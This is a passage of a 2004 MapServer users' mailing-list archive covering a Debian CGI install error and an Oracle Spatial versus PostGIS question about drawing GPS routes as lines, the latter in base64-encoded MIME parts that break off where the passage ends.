list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> > > > > ----- > James Cradock, jcradock at me3.com > > me3 Technology Consultants, LLC > 24 Preble Street > Portland, Maine, USA 04101 > > http://www.me3.com/ > > > -- _____________________________ dipl.-ing. lars m?ller basis5 - webtechnologie m?ller und zipp ingenieure und partner malsburgstrasse 14 34119 kassel tel 0561.7660348 fax 0561.7660358 email moeller at basis5.de www.basis5.de _____________________________ From jcradock at redington.me3.com Tue Jun 15 04:16:55 2004 From: jcradock at redington.me3.com (james cradock) Date: Tue, 15 Jun 2004 07:16:55 -0400 (EDT) Subject: [Mapserver-users] cgi-apt-get debian In-Reply-To: <40CDA27A.2050404@basis5.de> References: <40CDA27A.2050404@basis5.de> Message-ID: <37229.65.198.76.162.1087298215.squirrel@redington.me3.com> Lars, What's the output from Apache's error log? It should be in /var/log/apache/error.log. Or try this from a terminal (command line) window: tail -f /var/logl/apache/error.log | grep mapserv Jim (I've resent this from the email address the list knows about.) > hello list, > > has someone installed mapserver via apt-get on debian? > it installs the mapserv under /usr/lib/cgi-bin/mapserv > calling the file directly gives: > This script can only be used to decode form results and > should be initiated as a CGI process via a httpd server. > that should be ok. > calling mapser -V gives: > MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ > SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT > SUPPORTS=WFS_CLIENT INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=OGR > INPUT=GDAL INPUT=SHAPEFILE > that is also ok. > > if I copie the file (mapserv) in the cgi -directory of the apache and > calling it from the web i get internal server error. > > what is wrong? > thanks for ideas and help > > lars > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > ----- james cradock jcradock at redington.me3.com From fchen at ne.rsgs.ac.cn Tue Jun 15 04:55:29 2004 From: fchen at ne.rsgs.ac.cn (Fu Chen) Date: Tue, 15 Jun 2004 19:55:29 +0800 Subject: [Mapserver-users] geometryfromtext in orcale spatial? In-Reply-To: <40CDBB81.7060105@inf.univali.br> Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_004F_01C45312.B5E1D710 Content-Type: text/plain; charset="gb2312" Content-Transfer-Encoding: base64 RmVybmFuZG8gU2ltb24sDQpUaGFuayB5b3UhDQpJIHRoaW5rIHlvdXIgc3VnZ2VzdGlvbiB3b3Jr LiBCdXQgIlRIRSBRVUVSWSBUSEFUIFJFVFVSTiBUSEUgUE9JTlRTIEZPUiBMSU5FIiBzZWVtcyBk b2Vzbid0IGFjY2VwdCBzdGF0ZW1lbnQgbGlrZSAic2VsZWN0IHRoZV9nZW9tIGZyb20gZ3BzVGFi bGUgd2hlcmUgcm91dGVfaWQ9eHh4Ii4gSG93IGNhbiB0cmFuc2xhdGUgdGhlIHF1ZXJ5IHJlc3Vs dCAocG9pbnRzKSBpbnRvIHNvbWV0aGluZyBTRE9fT1JESU5BVEVfQVJSQVkgd2lsbCBhY2NlcHQ/ DQpJcyB0aGVyZSBhbnkgZnVuY3Rpb24gaW4gb3JhY2xlIHNwYXRpYWwgdG8gZG8gdGhpcyB3b3Jr Pw0KDQogIC0tLS0tT3JpZ2luYWwgTWVzc2FnZS0tLS0tDQogIEZyb206IG1hcHNlcnZlci11c2Vy cy1hZG1pbkBsaXN0cy5naXMudW1uLmVkdSBbbWFpbHRvOm1hcHNlcnZlci11c2Vycy1hZG1pbkBs aXN0cy5naXMudW1uLmVkdV1PbiBCZWhhbGYgT2YgRmVybmFuZG8gUy4NCiAgU2VudDogTW9uZGF5 LCBKdW5lIDE0LCAyMDA0IDEwOjUyIFBNDQogIFRvOiBGdSBDaGVuOyBtYXBzZXJ2ZXItdXNlcnNA bGlzdHMuZ2lzLnVtbi5lZHUNCiAgU3ViamVjdDogUmU6IFtNYXBzZXJ2ZXItdXNlcnNdIGdlb21l dHJ5ZnJvbXRleHQgaW4gb3JjYWxlIHNwYXRpYWw/DQoNCg0KICBIaSwgDQogICAgICBXZWxsLCBz b3JyeSB0byByZXBvcnQgeW91IG9ubHkgbm93LiBJIGJlbGlldmUgdGhhdCB5b3UgbmVlZCB0byBk ZWZpbmUgdGhlIGdlb21ldHJ5IGNvbHVtbiB3aGVuIHlvdSBleGVjdXRlIHRoZSBxdWVyeS4gSSBk b24ndCB0ZXN0IHRoaXMgcXVlcnksIGJ1dCBJIGJlbGlldmUgdGhhdCB3b3JrJ3MuIEkgYWxyZWFk eSB3b3JrIHdpdGggdGhpcyB3YXksIGFuZCBydW4gY29ycmVjdGx5IHdpdGggbWFwc2Vydi4NCiAg ICAgIFNvIHRyeSB0byB1c2U6DQogICAgICAgICBkYXRhICJ0aGVfZ2VvbSBmcm9tIChzZWxlY3Qg aWQsIG1kc3lzLlNET19HRU9NRVRSWSgyMDAyLCBOVUxMLCBOVUxMLCBtZHN5cy5TRE9fRUxFTV9J TkZPX0FSUkFZKDEsIDIsIDEpLCBtZHN5cy5TRE9fT1JESU5BVEVfQVJSQVkoIFRIRSBRVUVSWSBU SEFUIFJFVFVSTiBUSEUgUE9JTlRTIEZPUiBMSU5FICkpIGFzIHRoZV9nZW9tIEZST00gdGFibGUg d2hlcmUgaWQgPSBYWFhYWCkiDQogICAgICAyMDAyIC0gdG8gZGVmaW5lIGxpbmUNCiAgICAgICgx LCAyLCAxKSAtIHRvIGRlZmluZSBsaW5lDQoNCiAgICAgIEhlcmUgSSB1c2VkIHRoaXMgYW5kIHdv cmsgY29ycmVjdGx5Og0KICAgICAgZGF0YSAic2hhcGUgZnJvbSAoc2VsZWN0IG1kc3lzLlNET19H RU9NRVRSWSgyMDAzLCA4MjI5NSwgTlVMTCwgbWRzeXMuU0RPX0VMRU1fSU5GT19BUlJBWSgxLCAx MDAzLCA0KSwgbWRzeXMuU0RPX09SRElOQVRFX0FSUkFZKDY2NzA1Mi4wNzcsIDcwOTI1MDEuNDQs IDY1NzA1Mi4wNzcsIDcwODI1MDEuNDQsIDY2NzA1Mi4wNzcsIDcwNzI1MDEuNDQpKSBhcyBzaGFw ZSBGUk9NIGZhemVuZGFzIHdoZXJlIGNvZGlnb19pbnQgPSA3OTI4NDIzNykiDQoNCiAgICAgIEkg YmVsaWV2ZSB0aGF0IHRoaXMgZXhhbXBsZSBjYW4gaGVscCB5b3UgdG8gZGVmaW5lIHlvdXIgcXVl cnkuIA0KICAgICAgSWYgeW91IG5lZWQgc29tZSBoZWxwIHlvdSBjYW4gcmVwb3J0IG1lLg0KDQoN CiAgPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09IA0KICBGZXJuYW5kbyBTaW1vbiAtIHNpbW9uQGN0dG1hci51bml2YWxpLmJy DQogID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PSANCiAgRGF0YUJhc2UgTWFuYWdlciwgTWFwc2VydmVyLCBPcmFjbGVTcGF0 aWFsIERldmVsb3BlciANCiAgRzEwIC0gTGFib3JhdKiucmlvIGRlIENvbXB1dGEmY2NlZGlsOyZh dGlsZGU7byBBcGxpY2FkYSANCiAgaHR0cDovL2cxMC5jdHRtYXIudW5pdmFsaS5iciANCiAgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09IA0KDQoNCiAgRnUgQ2hlbiB3cm90ZTogDQpIaSENCkkgbmVlZCB0byBtYWtlIGEgZmVh dHVyZSwgdGhhdCBsaW5rIGdwcyBwb2ludHMgaW50byBsaW5lIHRvIHJlbmRlciBpbiBtYXBzZXJ2 ZXIuDQpWbGFkaW1pciBJbGljaCBHdXptqKJuIFIuIHN1Z2dlc3QgdG8gdXNlIGdlb21ldHJ5ZnJv bXRlc3QgZmVhdHVyZSBpbiBwb3N0Z2lzIHRvIGFjaGlldmUgaXQuIA0KSXQgaXMgc29tZXRoaW5n IGxpa2UNCg0KJGRhdGE9Ig0KdGhlX2dlb20gZnJvbSAoc2VsZWN0IG9pZCxydW1ibywgZ2VvbWV0 cnlmcm9tdGV4dCgnTVVMVElMSU5FU1RSSU5HKCgnIHx8DQooc2VsZWN0IHgoZ3BzX2dlb20pIHx8 ICcgJyB8fCB5KGdwc19nZW9tKSBmcm9tIGdwc192ZWhpIGFudCB3aGVyZQ0KYW50LmdpZDxhY3Qu Z2lkIGFuZCBhbnQuaWRfdmVoaT0kaWRfdmVoaSBvcmRlciBieSBnaWQgZGVzYyBsaW1pdCAxKSB8 fA0KJywnIHx8IHgoZ3BzX2dlb20pIHx8ICcgJyB8fCB5KGdwc19nZW9tKSB8fCAnKSknLDEpIGFz IHRoZV9nZW9tIGZyb20NCmdwc192ZWhpIGFjdCB3aGVyZSBhY3QudGllbXBvPj0nJGZyb21fdGlt ZScgQU5EIGFjdC50aWVtcG88JyR0b190aW1lJw0KQU5EIGFjdC5pZF92ZWhpPSRpZF92ZWhpKSBh cyBmb28gdXNpbmcgdW5pcXVlIG9pZCB1c2luZyBzcmlkPTEiOw0KJGxheWVyPSRtYXAtPmdldExh eWVyQnlOYW1lKCJzZWN1ZW5jaWFfZ3BzIik7DQokbGF5ZXItPnNldCgiZGF0YSIsJGRhdGEpOw0K DQpUaGlzIG1ldGhvZCB3b3JrcyBpbiBwb3N0Z2lzLiBCdXQgdGhpcyB0aW1lIEkgaGF2ZSB0byB1 c2Ugb3JhY2xlIGRhdGFiYXNlLg0KSG93IGNhbiBJIGFjaGlldmUgdGhpcyBmZWF0dXJlIGluIG9y YWNsZSBzcGF0aWFsPyBJcyB0aGVyZSBhbnkgb3JhY2xlIGZ1bmN0aW9uIEkgY2FuIHVzZSB0byBy ZXBsYWNlIGdlb21ldHJ5ZnJvbXRleHQ/DQoNClRoYW5rcyENCg0KLS0tLS1PcmlnaW5hbCBNZXNz YWdlLS0tLS0NCkZyb206IG1hcHNlcnZlci11c2Vycy1hZG1pbkBsaXN0cy5naXMudW1uLmVkdQ0K W21haWx0bzptYXBzZXJ2ZXItdXNlcnMtYWRtaW5AbGlzdHMuZ2lzLnVtbi5lZHVdT24gQmVoYWxm IE9mIFZsYWRpbWlyDQpHdXptqKJuDQpTZW50OiBUaHVyc2RheSwgSnVuZSAwMywgMjAwNCA4OjAx IFBNDQpUbzogRnUgQ2hlbg0KQ2M6IG1hcHNlcnZlci11c2Vyc0BsaXN0cy5naXMudW1uLmVkdQ0K U3ViamVjdDogUmU6IFtNYXBzZXJ2ZXItdXNlcnNdIHN0b3JlIGFuZCBkcmF3IHJvdXRlDQoNCg0K SGVsbG8uDQpXZSB1c2UgcG9zdGdpcyArIHBocG1hcHNjcmlwdCwgYW5kIGlzIHNvbWV0aGluZyBs aWtlIHRoaXM6DQoNCiRkYXRhPSINCnRoZV9nZW9tIGZyb20gKHNlbGVjdCBvaWQscnVtYm8sIGdl b21ldHJ5ZnJvbXRleHQoJ01VTFRJTElORVNUUklORygoJyB8fA0KKHNlbGVjdCB4KGdwc19nZW9t KSB8fCAnICcgfHwgeShncHNfZ2VvbSkgZnJvbSBncHNfdmVoaSBhbnQgd2hlcmUNCmFudC5naWQ8 YWN0LmdpZCBhbmQgYW50LmlkX3ZlaGk9JGlkX3ZlaGkgb3JkZXIgYnkgZ2lkIGRlc2MgbGltaXQg MSkgfHwNCicsJyB8fCB4KGdwc19nZW9tKSB8fCAnICcgfHwgeShncHNfZ2VvbSkgfHwgJykpJywx KSBhcyB0aGVfZ2VvbSBmcm9tDQpncHNfdmVoaSBhY3Qgd2hlcmUgYWN0LnRpZW1wbz49JyRmcm9t X3RpbWUnIEFORCBhY3QudGllbXBvPCckdG9fdGltZScNCkFORCBhY3QuaWRfdmVoaT0kaWRfdmVo aSkgYXMgZm9vIHVzaW5nIHVuaXF1ZSBvaWQgdXNpbmcgc3JpZD0xIjsNCiRsYXllcj0kbWFwLT5n ZXRMYXllckJ5TmFtZSgic2VjdWVuY2lhX2dwcyIpOw0KJGxheWVyLT5zZXQoImRhdGEiLCRkYXRh KTsNCg0KQmFzaWNhbGx5LCB3aGF0IHdlIGRvIGlzIGEgc3VicXVlcnkgdG8gY3JlYXRlIGEgbXVs dGlsaW5lc3RyaW5nIGZyb20gYQ0KcG9pbnQgZ2VvbWV0cnkuDQoNCkhwZSB0aGF0IGhlbHBzLA0K DQpWbGFkaW1pciBJbGljaCBHdXptqKJuIFIuDQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCmh0 dHA6Ly9tYWludGFzay5jb20gDQoNCg0KDQpGdSBDaGVuIHdyb3RlOg0KDQpIaSENCkkgdHJ5IHRv IHVzZSBtYXBzZXJ2ZXIgYW5kIHBvc3RnaXMgdG8gcmVjb3JkIGFuZCByZW5kZXIgdGhlIHNvbWUg bW9iaWxlIHdvcmtlcidzIHJvdXRlLg0KVGhvc2Ugcm91dGVzIGFyZSByZWNvcmQgYnkgYSBkYXRh IHRhYmxlIGxpa2UgKHdvcmtvcklELCB0aW1lLCBwb3NpdGlvbikuDQpJbiB0aGUgd2ViZ2lzIGlu dGVyZmFjZSwgd2UgdHJ5IHRvIGRyYXcgYSByb3V0ZSBtYXAgYnkgbWFwc2VydmVyLg0KUXVlcmll ZCBieSB0aGUgd29ya29yJ3MgSUQsIHRoZSBwb3NpdGlvbiBpcyBzb3J0IGJ5IHRoZSB0aW1lLiB0 aGVuIHRoZXNlIHBvaW50cyBpcyBsaW5rZWQgd2l0aCBhIGxpbmUuIFdlIHdvdWxkIGxpa2UgdG8g ZHJhdyBhIGNpcmNsZShvciBvdGhlciBzeW1ib2wpIG9uIHRoZSBrZXkgcG9pbnQgaWYgaXQgaXMg cG9zc2libGUuDQpJIGRvbid0IGtub3cgaG93IHRvIHdyaXRlIG1hcCBmaWxlIG9yIG1hcHNjcmlw dCB0byBnZXQgdGhlIGZlYXR1cmUuDQpBbnlib2R5IGNhbiBnaXZlIG1lIHNvbWUgc3VnZ2VzdGlv bj8NClRoYW5rIHlvdSENCg0KX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX18NCk1hcHNlcnZlci11c2VycyBtYWlsaW5nIGxpc3QNCk1hcHNlcnZlci11c2Vyc0Bs aXN0cy5naXMudW1uLmVkdQ0KaHR0cDovL2xpc3RzLmdpcy51bW4uZWR1L21haWxtYW4vbGlzdGlu Zm8vbWFwc2VydmVyLXVzZXJzDQoNCg0KIA0KDQoNCl9fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fDQpNYXBzZXJ2ZXItdXNlcnMgbWFpbGluZyBsaXN0DQpNYXBz ZXJ2ZXItdXNlcnNAbGlzdHMuZ2lzLnVtbi5lZHUNCmh0dHA6Ly9saXN0cy5naXMudW1uLmVkdS9t YWlsbWFuL2xpc3RpbmZvL21hcHNlcnZlci11c2Vycw0KDQpfX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fXw0KTWFwc2VydmVyLXVzZXJzIG1haWxpbmcgbGlzdA0K TWFwc2VydmVyLXVzZXJzQGxpc3RzLmdpcy51bW4uZWR1DQpodHRwOi8vbGlzdHMuZ2lzLnVtbi5l ZHUvbWFpbG1hbi9saXN0aW5mby9tYXBzZXJ2ZXItdXNlcnMNCg0KDQo= ------=_NextPart_000_004F_01C45312.B5E1D710 Content-Type: text/html; charset="gb2312" Content-Transfer-Encoding: base64 PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv L0VOIj4NCjxIVE1MPjxIRUFEPjxUSVRMRT48L1RJVExFPg0KPE1FVEEgaHR0cC1lcXVpdj1Db250 ZW50LVR5cGUgY29udGVudD10ZXh0L2h0bWw7Y2hhcnNldD1HQjIzMTI+DQo8TUVUQSBjb250ZW50 PSJNU0hUTUwgNi4wMC4yODAwLjExMDYiIG5hbWU9R0VORVJBVE9SPjwvSEVBRD4NCjxCT0RZIHRl eHQ9IzAwMDAwMCBiZ0NvbG9yPSNmZmZmZmY+DQo8RElWPjxTUEFOIGNsYXNzPTYwOTM1NDgxMS0x NTA2MjAwND48Rk9OVCBmYWNlPUFyaWFsPkZlcm5hbmRvIA0KU2ltb24sPC9GT05UPjwvU1BBTj48 L0RJVj4NCjxESVY+PFNQQU4gY2xhc3M9NjA5MzU0ODExLTE1MDYyMDA0PjxGT05UIGZhY2U9QXJp YWw+VGhhbmsgDQp5b3UhPC9GT05UPjwvU1BBTj48L0RJVj4NCjxESVY+PFNQQU4gY2xhc3M9NjA5 MzU0ODExLTE1MDYyMDA0PjxGT05UIGZhY2U9QXJpYWw+SSB0aGluayB5b3VyIHN1Z2dlc3Rpb24g DQp3b3JrLiBCdXQgIjwvRk9OVD48Rk9OVCBmYWNlPUhlbHZldGljYT48U1RST05HPjxGT05UIGZh Y2U9QXJpYWw+VEhFIFFVRVJZIFRIQVQgDQpSRVRVUk4gVEhFIFBPSU5UUyBGT1IgTElORSI8L0ZP TlQ+Jm5ic3A7PC9TVFJPTkc+PC9GT05UPjxGT05UIGZhY2U9QXJpYWw+c2VlbXMgDQpkb2Vzbid0 IGFjY2VwdCBzdGF0ZW1lbnQgbGlrZSAic2VsZWN0IHRoZV9nZW9tIGZyb20gZ3BzVGFibGUgd2hl cmUgDQpyb3V0ZV9pZD14eHgiLiBIb3cgY2FuIHRyYW5zbGF0ZSB0aGUgcXVlcnkgcmVzdWx0IChw b2ludHMpIGludG8gc29tZXRoaW5nIA0KPC9GT05UPjxGT05UIGZhY2U9SGVsdmV0aWNhPlNET19P UkRJTkFURV9BUlJBWSB3aWxsIGFjY2VwdD88L0ZPTlQ+PC9TUEFOPjwvRElWPg0KPERJVj48U1BB TiBjbGFzcz02MDkzNTQ4MTEtMTUwNjIwMDQ+PEZPTlQgZmFjZT1IZWx2ZXRpY2E+SXMgdGhlcmUg YW55IGZ1bmN0aW9uIA0KaW4gb3JhY2xlIHNwYXRpYWwgdG8gZG8gdGhpcyB3b3JrPzwvRk9OVD48 L1NQQU4+PC9ESVY+DQo8RElWPjxTUEFOIGNsYXNzPTYwOTM1NDgxMS0xNTA2MjAwND48Rk9OVCAN CmZhY2U9SGVsdmV0aWNhPjwvRk9OVD48L1NQQU4+Jm5ic3A7PC9ESVY+DQo8QkxPQ0tRVU9URT4N CiAgPERJViBjbGFzcz1PdXRsb29rTWVzc2FnZUhlYWRlciBkaXI9bHRyIGFsaWduPWxlZnQ+PEZP TlQgZmFjZT1UYWhvbWEgDQogIHNpemU9Mj4tLS0tLU9yaWdpbmFsIE1lc3NhZ2UtLS0tLTxCUj48 Qj5Gcm9tOjwvQj4gDQogIG1hcHNlcnZlci11c2Vycy1hZG1pbkBsaXN0cy5naXMudW1uLmVkdSAN CiAgW21haWx0bzptYXBzZXJ2ZXItdXNlcnMtYWRtaW5AbGlzdHMuZ2lzLnVtbi5lZHVdPEI+T24g QmVoYWxmIE9mIDwvQj5GZXJuYW5kbyANCiAgUy48QlI+PEI+U2VudDo8L0I+IE1vbmRheSwgSnVu ZSAxNCwgMjAwNCAxMDo1MiBQTTxCUj48Qj5Ubzo8L0I+IEZ1IENoZW47IA0KICBtYXBzZXJ2ZXIt dXNlcnNAbGlzdHMuZ2lzLnVtbi5lZHU8QlI+PEI+U3ViamVjdDo8L0I+IFJlOiBbTWFwc2VydmVy LXVzZXJzXSANCiAgZ2VvbWV0cnlmcm9tdGV4dCBpbiBvcmNhbGUgc3BhdGlhbD88QlI+PEJSPjwv Rk9OVD48L0RJVj48Rk9OVCANCiAgZmFjZT0iSGVsdmV0aWNhLCBBcmlhbCwgc2Fucy1zZXJpZiI+ SGksIDxCUj4mbmJzcDsmbmJzcDsmbmJzcDsgV2VsbCwgc29ycnkgdG8gDQogIHJlcG9ydCB5b3Ug b25seSBub3cuIEkgYmVsaWV2ZSB0aGF0IHlvdSBuZWVkIHRvIGRlZmluZSB0aGUgZ2VvbWV0cnkg Y29sdW1uIA0KICB3aGVuIHlvdSBleGVjdXRlIHRoZSBxdWVyeS4gSSBkb24ndCB0ZXN0IHRoaXMg cXVlcnksIGJ1dCBJIGJlbGlldmUgdGhhdCANCiAgd29yaydzLiBJIGFscmVhZHkgd29yayB3aXRo IHRoaXMgd2F5LCBhbmQgcnVuIGNvcnJlY3RseSB3aXRoIA0KICBtYXBzZXJ2LjxCUj4mbmJzcDsm bmJzcDsmbmJzcDsgU28gdHJ5IHRvIHVzZTo8QlI+Jm5ic3A7Jm5ic3A7Jm5ic3A7IA0KICAmbmJz cDsmbmJzcDsgZGF0YSAidGhlX2dlb20gZnJvbSAoc2VsZWN0IGlkLCBtZHN5cy5TRE9fR0VPTUVU UlkoMjAwMiwgTlVMTCwgDQogIE5VTEwsIG1kc3lzLlNET19FTEVNX0lORk9fQVJSQVkoMSwgMiwg MSksIG1kc3lzLlNET19PUkRJTkFURV9BUlJBWSggPEI+VEhFIA0KICBRVUVSWSBUSEFUIFJFVFVS TiBUSEUgUE9JTlRTIEZPUiBMSU5FIDwvQj4pKSBhcyB0aGVfZ2VvbSBGUk9NIHRhYmxlIHdoZXJl IGlkID0gDQogIFhYWFhYKSI8QlI+Jm5ic3A7Jm5ic3A7Jm5ic3A7IDIwMDIgLSB0byBkZWZpbmUg bGluZTxCUj4mbmJzcDsmbmJzcDsmbmJzcDsgKDEsIA0KICAyLCAxKSAtIHRvIGRlZmluZSBsaW5l PEJSPjxCUj4mbmJzcDsmbmJzcDsmbmJzcDsgSGVyZSBJIHVzZWQgdGhpcyBhbmQgd29yayANCiAg Y29ycmVjdGx5OjxCUj4mbmJzcDsmbmJzcDsmbmJzcDsgZGF0YSAic2hhcGUgZnJvbSAoc2VsZWN0 IA0KICBtZHN5cy5TRE9fR0VPTUVUUlkoMjAwMywgODIyOTUsIE5VTEwsIG1kc3lzLlNET19FTEVN X0lORk9fQVJSQVkoMSwgMTAwMywgNCksIA0KICBtZHN5cy5TRE9fT1JESU5BVEVfQVJSQVkoNjY3 MDUyLjA3NywgNzA5MjUwMS40NCwgNjU3MDUyLjA3NywgNzA4MjUwMS40NCwgDQogIDY2NzA1Mi4w NzcsIDcwNzI1MDEuNDQpKSBhcyBzaGFwZSBGUk9NIGZhemVuZGFzIHdoZXJlIGNvZGlnb19pbnQg PSANCiAgNzkyODQyMzcpIjxCUj48QlI+Jm5ic3A7Jm5ic3A7Jm5ic3A7IEkgYmVsaWV2ZSB0aGF0 IHRoaXMgZXhhbXBsZSBjYW4gaGVscCB5b3UgDQogIHRvIGRlZmluZSB5b3VyIHF1ZXJ5LiA8QlI+ Jm5ic3A7Jm5ic3A7Jm5ic3A7IElmIHlvdSBuZWVkIHNvbWUgaGVscCB5b3UgY2FuIA0KICByZXBv cnQgDQogIG1lLjxCUj48QlI+PEJSPjwvRk9OVD49PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gDQogIDxCUj5GZXJuYW5kbyBT aW1vbiAtIDxBIGNsYXNzPW1vei10eHQtbGluay1hYmJyZXZpYXRlZCANCiAgaHJlZj0ibWFpbHRv OnNpbW9uQGN0dG1hci51bml2YWxpLmJyIj5zaW1vbkBjdHRtYXIudW5pdmFsaS5icjwvQT48QlI+ PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09IA0KICA8QlI+RGF0YUJhc2UgTWFuYWdlciwgTWFwc2VydmVyLCBPcmFjbGVTcGF0 aWFsIERldmVsb3BlciA8QlI+RzEwIC0gTGFib3JhdKiucmlvIA0KICBkZSBDb21wdXRhJmNjZWRp bDsmYXRpbGRlO28gQXBsaWNhZGEgPEJSPjxBIGNsYXNzPW1vei10eHQtbGluay1mcmVldGV4dCAN CiAgaHJlZj0iaHR0cDovL2cxMC5jdHRtYXIudW5pdmFsaS5iciI+aHR0cDovL2cxMC5jdHRtYXIu dW5pdmFsaS5icjwvQT4gDQogIDxCUj49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gDQogIDxCUj48Rk9OVCBmYWNlPSJIZWx2 ZXRpY2EsIEFyaWFsLCBzYW5zLXNlcmlmIj48QlI+PEJSPkZ1IENoZW4gd3JvdGU6PC9GT05UPiAN CiAgPEJMT0NLUVVPVEUgY2l0ZT1taWRITEVOTFBDQUdERUhNTk1OTElESkNFQ0dDREFBLmZjaGVu QG5lLnJzZ3MuYWMuY24gDQogIHR5cGU9ImNpdGUiPjxQUkUgd3JhcD0iIj48Rk9OVCBmYWNlPSJI ZWx2ZXRpY2EsIEFyaWFsLCBzYW5zLXNlcmlmIj5IaSENCkkgbmVlZCB0byBtYWtlIGEgZmVhdHVy ZSwgdGhhdCBsaW5rIGdwcyBwb2ludHMgaW50byBsaW5lIHRvIHJlbmRlciBpbiBtYXBzZXJ2ZXIu DQpWbGFkaW1pciBJbGljaCBHdXptqKJuIFIuIHN1Z2dlc3QgdG8gdXNlIGdlb21ldHJ5ZnJvbXRl c3QgZmVhdHVyZSBpbiBwb3N0Z2lzIHRvIGFjaGlldmUgaXQuIA0KSXQgaXMgc29tZXRoaW5nIGxp a2UNCg0KJGRhdGE9Ig0KdGhlX2dlb20gZnJvbSAoc2VsZWN0IG9pZCxydW1ibywgZ2VvbWV0cnlm cm9tdGV4dCgnTVVMVElMSU5FU1RSSU5HKCgnIHx8DQooc2VsZWN0IHgoZ3BzX2dlb20pIHx8ICcg JyB8fCB5KGdwc19nZW9tKSBmcm9tIGdwc192ZWhpIGFudCB3aGVyZQ0KYW50LmdpZCZsdDthY3Qu Z2lkIGFuZCBhbnQuaWRfdmVoaT0kaWRfdmVoaSBvcmRlciBieSBnaWQgZGVzYyBsaW1pdCAxKSB8 fA0KJywnIHx8IHgoZ3BzX2dlb20pIHx8ICcgJyB8fCB5KGdwc19nZW9tKSB8fCAnKSknLDEpIGFz IHRoZV9nZW9tIGZyb20NCmdwc192ZWhpIGFjdCB3aGVyZSBhY3QudGllbXBvJmd0Oz0nJGZyb21f dGltZScgQU5EIGFjdC50aWVtcG8mbHQ7JyR0b190aW1lJw0KQU5EIGFjdC5pZF92ZWhpPSRpZF92 ZWhpKSBhcyBmb28gdXNpbmcgdW5pcXVlIG9pZCB1c2luZyBzcmlkPTEiOw0KJGxheWVyPSRtYXAt Jmd0O2dldExheWVyQnlOYW1lKCJzZWN1ZW5jaWFfZ3BzIik7DQokbGF5ZXItJmd0O3NldCgiZGF0 YSIsJGRhdGEpOw0KDQpUaGlzIG1ldGhvZCB3b3JrcyBpbiBwb3N0Z2lzLiBCdXQgdGhpcyB0aW1l IEkgaGF2ZSB0byB1c2Ugb3JhY2xlIGRhdGFiYXNlLg0KSG93IGNhbiBJIGFjaGlldmUgdGhpcyBm ZWF0dXJlIGluIG9yYWNsZSBzcGF0aWFsPyBJcyB0aGVyZSBhbnkgb3JhY2xlIGZ1bmN0aW9uIEkg Y2FuIHVzZSB0byByZXBsYWNlIGdlb21ldHJ5ZnJvbXRleHQ/DQoNClRoYW5rcyENCg0KLS0tLS1P cmlnaW5hbCBNZXNzYWdlLS0tLS0NCkZyb206IDxBIGNsYXNzPW1vei10eHQtbGluay1hYmJyZXZp YXRlZCBocmVmPSJtYWlsdG86bWFwc2VydmVyLXVzZXJzLWFkbWluQGxpc3RzLmdpcy51bW4uZWR1 Ij5tYXBzZXJ2ZXItdXNlcnMtYWRtaW5AbGlzdHMuZ2lzLnVtbi5lZHU8L0E+DQpbPEEgY2xhc3M9 bW96LXR4dC1saW5rLWZyZWV0ZXh0IGhyZWY9Im1haWx0bzptYXBzZXJ2ZXItdXNlcnMtYWRtaW5A bGlzdHMuZ2lzLnVtbi5lZHUiPm1haWx0bzptYXBzZXJ2ZXItdXNlcnMtYWRtaW5AbGlzdHMuZ2lz LnVtbi5lZHU8L0E+XU9uIEJlaGFsZiBPZiBWbGFkaW1pcg0KR3V6baiibg0KU2VudDogVGh1cnNk YXksIEp1bmUgMDMsIDIwMDQgODowMSBQTQ0KVG86IEZ1IENoZW4NCkNjOiA8QSBjbGFzcz1tb3ot dHh0LWxpbmstYWJicmV2aWF0ZWQgaHJlZj0ibWFpbHRvOm1hcHNlcnZlci11c2Vyc0BsaXN0cy5n aXMudW1uLmVkdSI+bWFwc2VydmVyLXVzZXJzQGxpc3RzLmdpcy51bW4uZWR1PC9BPg0KU3ViamVj dDogUmU6IFtNYXBzZXJ2ZXItdXNlcnNdIHN0b3JlIGFuZCBkcmF3IHJvdXRlDQoNCg0KSGVsbG8u DQpXZSB1c2UgcG9zdGdpcyArIHBocG1hcHNjcmlwdCwgYW5kIGlzIHNvbWV0aGluZyBsaWtlIHRo aXM6DQoNCiRkYXRhPSINCnRoZV9nZW9tIGZyb20gKHNlbGVjdCBvaWQscnVtYm8sIGdlb21ldHJ5 ZnJvbXRleHQoJ01VTFRJTElORVNUUklORygoJyB8fA0KKHNlbGVjdCB4KGdwc19nZW9tKSB8fCAn ICcgfHwgeShncHNfZ2VvbSkgZnJvbSBncHNfdmVoaSBhbnQgd2hlcmUNCmFudC5naWQmbHQ7YWN0 LmdpZCBhbmQgYW50LmlkX3ZlaGk9JGlkX3ZlaGkgb3JkZXIgYnkgZ2lkIGRlc2MgbGltaXQgMSkg fHwNCicsJyB8fCB4KGdwc19nZW9tKSB8fCAnICcgfHwgeShncHNfZ2VvbSkgfHwgJykpJywxKSBh 